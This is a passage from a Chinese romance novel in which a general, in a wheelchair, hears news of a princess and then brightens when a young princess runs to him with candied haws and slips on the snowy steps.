陆昼雪说道:“不过在出宫之时,公主打了二皇子,现下正和中郎将一同骑着马往回走,可见心情好了些。”
派出去的探子这般说,陆昼雪便这般回。
“中郎将。”
陆颂渊舌尖抵了下唇,“连珠?”
珠,这名字好生讨人厌。
“是。”
陆昼雪说完后,见陆颂渊半晌未言,不禁问道:“此事将军可要插手?”
陆颂渊挑挑眉,声音比外头的雪还要冷冽,“本将军为何要管?”
陆昼雪默了一息,“五公主这般下嫁,怕是公主要伤心。”
“嗯。”
陆颂渊点点头,“景宁与我何干?”
陆昼雪看着陆颂渊头上的血红发簪,不再言。
与站在主屋门口的下人一同将陆颂渊推到廊下后,陆昼雪说道:“午时末了,将军用膳吧。”
“嗯。”陆颂渊顺着院中整理好的雪看向后院门口。
那里无人。
“走吧。”
他话音刚落,门口忽然传来一声清脆的声音,在唤他的名字。
“陆颂渊!”
陆颂渊转头看去,只见景回身穿一袭银色长裙,身披朱红大氅,发髻轻挽起来,跑起来大氅飘逸,似是一只冬日里还活蹦乱跳的蝴蝶,显得灵动无比。
她手中高高举着两串糖葫芦,正沿着石路朝着陆颂渊跑来。
她身后跟着阿颜,阿颜身后再无别人。
陆昼雪低头看向自家将军,只见陆颂渊方才还一脸严肃的模样,在看见跑来的小公主后,脸色立刻变了,甚至眼角还带上了笑意。
景回跑到台阶下面挥挥手,“我来给你送好吃的啦!”
“你自己……”
陆颂渊抬了下唇角,想起什么似的又猛得放下。
他瞥了眼景回,却眼见景回一路跑来,脚底沾了些雪,踩到最上的台阶之时滑了下,径直向前扑过来。
他厉声道:“小心!”